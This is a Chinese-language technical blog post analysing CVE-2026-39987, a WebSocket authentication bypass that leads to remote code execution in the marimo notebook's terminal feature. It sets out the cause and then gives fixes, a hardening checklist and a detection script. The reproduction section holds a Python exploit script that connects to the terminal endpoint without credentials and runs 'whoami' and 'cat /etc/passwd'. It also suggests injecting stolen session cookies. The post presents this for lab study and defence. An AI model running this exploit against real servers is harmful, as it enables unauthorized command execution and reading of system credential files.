1. 项目概述一个被低估的WebSocket认证绕过漏洞最近在分析一些开源项目的安全实现时我遇到了一个非常典型的案例CVE-2026-39987。这个漏洞影响的是marimo项目一个用于构建交互式Python笔记本和应用的框架。漏洞的核心在于其内置的终端Terminal功能通过WebSocket连接时存在认证绕过缺陷最终导致了远程代码执行RCE。乍一看这只是一个特定框架的漏洞但深入分析后你会发现它暴露了现代Web应用中尤其是那些集成了实时交互功能的应用在WebSocket安全设计上普遍存在的盲点。很多开发者包括一些经验丰富的老手都容易在实现WebSocket的认证和授权逻辑时想当然地认为“连接建立时验证一次就够了”从而埋下严重的安全隐患。今天我就带大家彻底拆解这个漏洞从原理到复现再到修复让你不仅看懂这个漏洞更能理解这类问题的通用排查和防御思路。2. 漏洞原理深度剖析WebSocket的“信任链”是如何断裂的要理解CVE-2026-39987我们得先搞清楚marimo的架构和它出问题的环节。marimo允许用户在Web界面中运行一个交互式终端这个功能对于数据科学和教学场景非常有用。为了实现终端的实时输入输出它很自然地采用了WebSocket协议。2.1 WebSocket连接的生命周期与认证盲区在一个典型的、安全的WebSocket应用流程中认证和授权应该贯穿连接的整个生命周期握手阶段HTTP Upgrade Request客户端通过一个HTTP请求发起WebSocket连接升级。这个请求通常会携带认证凭证比如Cookie、Authorization Header或Token。服务端必须在此阶段进行严格的验证拒绝未授权的连接尝试。连接建立后服务端会为这个已认证的连接维护一个会话上下文Session Context关联用户身份和权限。消息传输阶段在连接持续期间服务端处理每一条WebSocket消息时都应基于之前建立的会话上下文来校验该用户是否有权执行对应操作。CVE-2026-39987的问题就出在第一步和第三步的脱节上。根据我对漏洞代码的分析marimo的终端服务大致是这么工作的服务端启动marimo会启动一个后端服务该服务会创建一个WebSocket端点Endpoint专门用于处理终端会话。前端连接用户浏览器中的marimo UI会尝试连接到这个WebSocket端点。漏洞点服务端在WebSocket握手阶段可能进行了某种形式的验证但这种验证是不完整或可以被绕过的。更关键的是在后续处理具体的终端指令例如执行ls、cat /etc/passwd等命令的WebSocket消息时服务端没有再次校验发送这条消息的连接是否来自于一个经过完全认证的合法用户会话。这就好比一栋大楼门卫握手验证检查了你的工牌Token让你进了大厅建立了WebSocket连接。但进了大厅后你去任何一个部门的办公室执行终端命令办公室的门都是敞开的不再需要任何身份确认。攻击者要做的就是想办法“混进大厅”。2.2 认证绕过的具体实现路径那么攻击者具体如何“混进大厅”呢根据公开的漏洞信息和相关技术分析路径可能不止一条但核心思路是相通的路径一握手请求参数篡改。WebSocket握手是一个HTTP请求。攻击者可以构造一个特殊的握手请求篡改其中的关键参数。例如如果认证依赖于某个HTTP Header如X-Auth-Token攻击者可能尝试注入一个伪造的、或属于其他已登录用户的Token。如果服务端没有正确地将Token与后端会话状态绑定或者Token的验证逻辑存在缺陷如仅检查格式而非有效性就可能被绕过。路径二会话固定或会话注入。如果认证依赖于Cookie中的会话ID攻击者可能通过某种方式如同源策略配置不当导致的XSS将一个已知的、有效的会话ID“注入”到针对WebSocket端点的请求中从而“劫持”一个已认证的WebSocket连接。路径三完全缺失的握手验证。最糟糕的情况是开发人员可能错误地认为该WebSocket端点仅用于内部通信或者应该在前端层面被保护从而在服务端代码中完全省略了握手阶段的认证逻辑。这意味着任何知道WebSocket端点URL的人都可以直接连接。注意在实际的漏洞利用中攻击者通常会结合对前端JavaScript代码的逆向分析来精确找到WebSocket连接的URL、所需的协议格式以及可能的认证参数然后使用工具如websocat、Python的websockets库来构造恶意连接。一旦攻击者成功建立了WebSocket连接他就获得了向marimo服务端发送“终端命令”的通道。由于服务端在处理这些命令消息时缺乏二次授权检查它会忠实地执行攻击者发送的任何系统命令从而完成从认证绕过到远程代码执行RCE的完整攻击链。3. 漏洞环境搭建与手工复现实录纸上得来终觉浅绝知此事要躬行。要真正理解一个漏洞最好的办法就是亲手把它复现出来。下面我将带你一步步搭建一个存在漏洞的marimo环境并手工完成攻击。请务必在完全隔离的虚拟机或实验网络中进行以下所有操作切勿在生产环境或任何联网的真实设备上尝试。3.1 搭建漏洞环境首先我们需要一个存在CVE-2026-39987漏洞的marimo版本。根据漏洞披露信息该漏洞影响某个特定版本范围。我们可以通过源码安装来锁定版本。# 1. 创建并进入一个干净的实验目录 mkdir marimo-cve-test cd marimo-cve-test # 2. 使用pip安装特定版本的marimo这里以假设的漏洞版本v0.1.0为例实际版本号需根据CVE详情确定 # 通常漏洞刚披露时存在漏洞的版本可能还未被标记为易受攻击或者有临时的Git提交哈希。 # 假设我们从GitHub克隆一个存在漏洞的旧提交。 git clone https://github.com/marimo-team/marimo.git cd marimo # 切换到漏洞引入后的某个提交这里COMMIT_HASH需要替换为真实的漏洞提交号这需要分析git历史 # git checkout COMMIT_HASH # 3. 以可编辑模式安装当前目录的marimo pip install -e . # 4. 启动一个简单的marimo应用来暴露终端服务 # 首先创建一个最简单的marimo笔记本文件 vuln_app.py cat vuln_app.py EOF import marimo __generated_with 0.1.0 app marimo.App() app.cell def __(): import marimo as mo return mo, if __name__ __main__: app.run() EOF # 5. 启动marimo应用它会默认在本地某个端口如8080启动服务并包含终端功能。 # 注意启动参数确保终端功能启用默认可能是启用的。 marimo run vuln_app.py --port 8080现在一个存在漏洞的marimo服务应该已经在http://localhost:8080上运行起来了。3.2 手工复现攻击链接下来我们不使用任何自动化漏洞利用工具完全手工模拟攻击者视角来验证这个漏洞。第一步信息收集与端点探测打开浏览器访问http://localhost:8080。使用浏览器开发者工具F12切换到“网络”Network标签页。刷新页面观察网络请求。过滤“WS”WebSocket请求。你应该能看到一个或多个WebSocket连接。其URL可能类似于ws://localhost:8080/ws?session_idxxx或ws://localhost:8080/api/terminal。记录下这个WebSocket连接的完整URL包括查询参数。同时在“标头”Headers部分仔细查看握手请求状态码为101 Switching Protocols的那个请求所携带的所有HTTP头特别是Cookie、Authorization或任何自定义的认证头。第二步构造恶意WebSocket连接我们现在要模拟一个攻击者他无法通过正常UI登录但试图直接连接WebSocket端点。我们使用Python的websockets库来编写一个简单的攻击脚本。# exploit_ws_auth_bypass.py import asyncio import websockets import json import sys async def exploit(): # 替换成你从开发者工具中发现的WebSocket URL # 注意攻击者可能不知道有效的session_id这里尝试直接连接或使用一个空/无效值 ws_url ws://localhost:8080/api/terminal # 示例URL需替换 # 或者尝试带有一个猜测参数的URL # ws_url ws://localhost:8080/ws?tokenmalicious_or_empty # 复制握手阶段可能需要的Headers从浏览器观察得来 # 如果漏洞是握手验证缺失这里可能不需要任何额外头信息。 # 如果验证依赖于Cookie攻击者可能会尝试盗用的Cookie或进行注入。 extra_headers { # Cookie: sessionstolen_session_id_here, # 示例会话盗用 # X-User-Id: 1 # 示例参数伪造 } try: print(f[*] 尝试连接 WebSocket: {ws_url}) async with websockets.connect(ws_url, extra_headersextra_headers) as websocket: print([] WebSocket 连接成功这可能意味着认证已被绕过。) # 第三步发送终端命令 # 我们需要知道marimo终端WebSocket通信的数据格式。这通常需要分析前端JS或进行协议探测。 # 假设格式是JSON: {type: execute, command: whoami} # 我们可以先发送一个探测消息或简单的命令。 test_command { type: execute, # 这个字段名是猜测的需要实际分析 command: whoami } print(f[*] 发送测试命令: {test_command}) await websocket.send(json.dumps(test_command)) # 等待并打印响应 response await websocket.recv() print(f[] 收到响应: {response}) # 如果成功尝试更具危害性的命令仅在实验环境 if root in response or user in response: # 简单判断命令是否执行成功 print([!] 命令执行成功确认RCE漏洞存在。) # 可以继续发送其他命令如 ls /, cat /etc/passwd (仅用于概念验证) rce_command { type: execute, command: cat /etc/passwd } await websocket.send(json.dumps(rce_command)) rce_response await websocket.recv() print(f[!!] RCE 验证输出 (前500字符): {rce_response[:500]}) except websockets.exceptions.InvalidStatusCode as e: print(f[-] 连接被拒绝状态码: {e.status_code}。握手阶段可能有验证。) except Exception as e: print(f[-] 连接失败: {e}) if __name__ __main__: asyncio.run(exploit())第三步运行攻击脚本并分析结果# 确保安装了websockets库 pip install websockets # 运行攻击脚本 python exploit_ws_auth_bypass.py结果分析如果连接成功并收到了whoami命令的输出这直接证明了WebSocket握手认证可以被绕过并且服务端未对消息进行授权校验漏洞复现成功。如果连接在握手阶段就被拒绝返回403等状态码说明当前的绕过尝试失败。但这不意味着漏洞不存在可能只是我们构造的请求方式不对。需要进一步分析前端代码精确还原通信协议和认证方式。真正的漏洞利用可能需要更精细的构造比如利用某个特定的会话管理漏洞。实操心得在实际的漏洞研究和渗透测试中WebSocket端点的安全测试常常被忽略。手工复现的关键在于耐心地分析前端JavaScript代码找到WebSocket连接建立和消息发送的精确逻辑。Chrome DevTools的“源代码”Sources标签页和“网络”Network标签页的WebSocket消息查看器是你的最佳伙伴。不要假设协议是JSON它也可能是自定义的二进制格式。4. 漏洞修复方案与安全开发实践复现漏洞是为了更好地修复和防御。对于CVE-2026-39987修复的核心原则是建立贯穿WebSocket连接始终的、不可绕过的信任链。4.1 针对该漏洞的修复措施对于marimo项目维护者或使用受影响版本的用户应立即采取以下行动升级到已修复的版本这是最直接有效的方法。关注marimo项目的安全公告将版本升级到已修复此漏洞的发布版。代码级修复如果无法立即升级需要审查并修改源码。修复应集中在两点强化握手认证在WebSocket握手处理器中实现与普通HTTP路由同等严格的身份验证和授权检查。确保用于认证的Token或Session与后端有效的、未过期的用户会话绑定。实施消息级授权在WebSocket消息处理器中在处理任何业务逻辑如执行终端命令之前必须从当前WebSocket连接关联的会话中获取用户身份并校验该用户是否有权限执行目标操作。可以为每个WebSocket连接对象绑定一个用户上下文User Context并在整个连接生命周期内使用它。一个简化的伪代码示例展示修复后的逻辑# WebSocket 握手处理例如在 /ws 路由 async def websocket_endpoint(request): # 1. 严格的握手认证 user authenticate_request(request) # 验证Cookie/Token返回用户对象或None if not user: raise WebSocketDenialResponse(status403) # 拒绝连接 # 2. 升级到WebSocket协议 websocket await request.accept() # 3. 将用户上下文与连接绑定 websocket.user user # 4. 进入消息循环 await handle_websocket_messages(websocket) async def handle_websocket_messages(websocket): async for message in websocket: data json.loads(message) # 5. 处理每条消息时使用绑定的用户上下文无需再次认证但可进行授权检查 if data[type] execute_command: # 授权检查例如检查用户是否有使用终端的权限 if not websocket.user.has_permission(use_terminal): await websocket.send(json.dumps({error: Forbidden})) continue # 执行命令 result run_command(data[command]) await websocket.send(json.dumps({output: result}))4.2 面向所有开发者的WebSocket安全指南CVE-2026-39987是一个教训以下是我总结的、适用于所有集成WebSocket的应用的安全实践安全层面具体措施理由与说明传输安全始终使用WSSWebSocket Secure在TLS之上运行WebSocket防止中间人攻击窃听或篡改数据包括握手阶段的认证信息。握手认证实施与HTTP API同等的认证在on_connect或握手处理函数中严格验证Cookie、JWT、API Key等凭证。绝不假设连接来自可信前端。会话绑定连接与用户会话强绑定一旦握手认证成功立即将连接对象如socket与经过验证的用户ID或会话对象绑定。后续所有操作基于此绑定。消息授权每条消息都进行权限校验即使连接已认证处理具体业务消息如“发送消息”、“执行命令”、“查询数据”时仍需检查绑定用户是否有权执行该操作。输入验证严格验证WebSocket消息内容像对待HTTP POST参数一样验证和清理从WebSocket接收到的所有数据防止注入攻击如命令注入、SQL注入。心跳与超时实现心跳机制和连接超时定期检查连接健康度自动关闭空闲或异常的连接释放资源并减少被挂起连接攻击的风险。来源验证检查Origin头适用于浏览器虽然Origin头可以被伪造非浏览器客户端但对于浏览器发起的连接验证Origin可以防止一些CSRF类的WebSocket连接攻击。限流与防护对连接和消息速率进行限制防止DoS攻击例如限制单个IP的连接数、单位时间内的消息数量。给架构师和团队负责人的建议将WebSocket服务的安全设计纳入整体API安全规范。在技术评审中专门审查WebSocket端点的认证、授权和输入处理逻辑。考虑在API网关层为WebSocket连接提供统一的认证和限流。5. 防御者视角如何检测与排查此类漏洞如果你正在维护一个使用了WebSocket的服务如何自查是否存在类似CVE-2026-39987的认证绕过问题以下是一套可操作的排查清单资产梳理首先全面梳理你的应用暴露的所有WebSocket端点ws://或wss://。不要只依赖文档使用代码扫描或动态爬虫如ZAP、Burp Suite的爬虫功能配置其爬取WebSocket来发现。手动测试握手认证使用工具如websocat、Burp Suite的Repeater模块支持WebSocket直接尝试连接你的WebSocket端点不携带任何认证信息如Cookie、Token。如果连接成功这是一个高危信号。尝试携带伪造的、格式正确但内容无效的认证信息进行连接。测试消息授权如果第一步连接成功尝试发送一条普通的、无害的业务消息例如获取用户信息、列表数据。观察是否能收到只有授权用户才能获取的数据。如果能说明消息处理层也缺乏授权。代码审计重点审查WebSocket服务端的代码。查找连接处理器找到处理on_connect、on_open或类似事件的函数。检查其中是否有完整的认证逻辑还是仅仅打印了日志。查找消息处理器找到处理on_message事件的函数。检查在处理业务逻辑前是否从当前连接中获取了用户上下文并进行了权限判断。警惕那些直接从消息体中读取“用户ID”并信任它的代码。依赖项检查如果你的WebSocket功能是通过第三方库或框架实现的检查其官方文档和安全公告了解该组件是否存在已知的认证绕过漏洞。同时审查你对该组件的配置和使用方式是否正确。一个简单的检测脚本示例 你可以编写一个简单的Python脚本自动化测试你的WebSocket端点是否存在匿名访问漏洞。import asyncio import websockets import sys async def test_ws_auth(url): try: print(f测试 {url} ...) # 尝试无任何认证头连接 async with websockets.connect(url, ping_intervalNone) as ws: print(f [!] 警告: 无需认证即可连接到 {url}) # 可选发送一个简单的探测消息 # await ws.send({type:ping}) # resp await ws.recv() # print(f 收到响应: {resp}) return False, 无认证连接成功 except websockets.exceptions.InvalidStatusCode as e: if e.status_code 403 or e.status_code 401: print(f [] 良好: 连接被拒绝状态码 {e.status_code}) return True, f认证已生效状态码{e.status_code} else: print(f [?] 未知: 连接失败状态码 {e.status_code}) return None, f非标准拒绝状态码{e.status_code} except Exception as e: print(f [-] 错误: 连接失败 - {e}) return None, str(e) # 将你的端点添加到列表中 urls_to_test [ ws://your-app.com/ws, wss://your-app.com/api/live, ] async def main(): for url in urls_to_test: await test_ws_auth(url) if __name__ __main__: asyncio.run(main())6. 从漏洞复现到实战渗透的思考手工复现CVE-2026-39987这类漏洞远不止是运行一个EXP脚本那么简单。它训练的是一种“攻击者思维”和“深度代码审计”的能力。在实战的渗透测试或红队行动中遇到一个集成了类似交互式终端功能的Web应用我会如何思考首先我会将其视为一个高价值目标。任何允许从Web界面执行后端命令的功能都是潜在的“皇冠上的明珠”。我的侦察重点会放在前端逆向仔细分析所有JavaScript文件搜索new WebSocket、ws://、wss://、Socket.IO等关键词找到所有WebSocket连接端点及其参数构造方式。协议分析在浏览器中正常使用功能用开发者工具捕获WebSocket流量分析握手请求的Headers和后续消息的数据结构JSON/二进制。特别关注认证字段。端点探测与模糊测试对发现的WebSocket端点使用工具进行连接测试尝试空参数、畸形参数、SQL注入式参数等。同时尝试访问可能未被前端使用的“隐藏”端点比如常见的路径如/ws、/wss、/socket.io、/api/ws、/terminal/ws等。会话机制测试如果WebSocket认证依赖于Cookie或Token我会测试会话固定、Token重放、JWT篡改如果使用JWT且未正确验证签名等攻击手法。这个过程的核心是不信任前端。前端的所有验证逻辑都只能提升用户体验不能作为安全边界。安全边界必须牢牢建立在服务端对每一个进入的请求无论是HTTP还是WebSocket进行无差别的、严格的身份认证和业务授权。CVE-2026-39987给所有开发者敲响了警钟在追求实时、交互式用户体验的同时绝不能牺牲安全基石。WebSocket不是HTTP的简单升级它是一条持久化的、双向的通信隧道必须像守护API网关一样在隧道的入口和内部的每一个检查点都设立哨卡。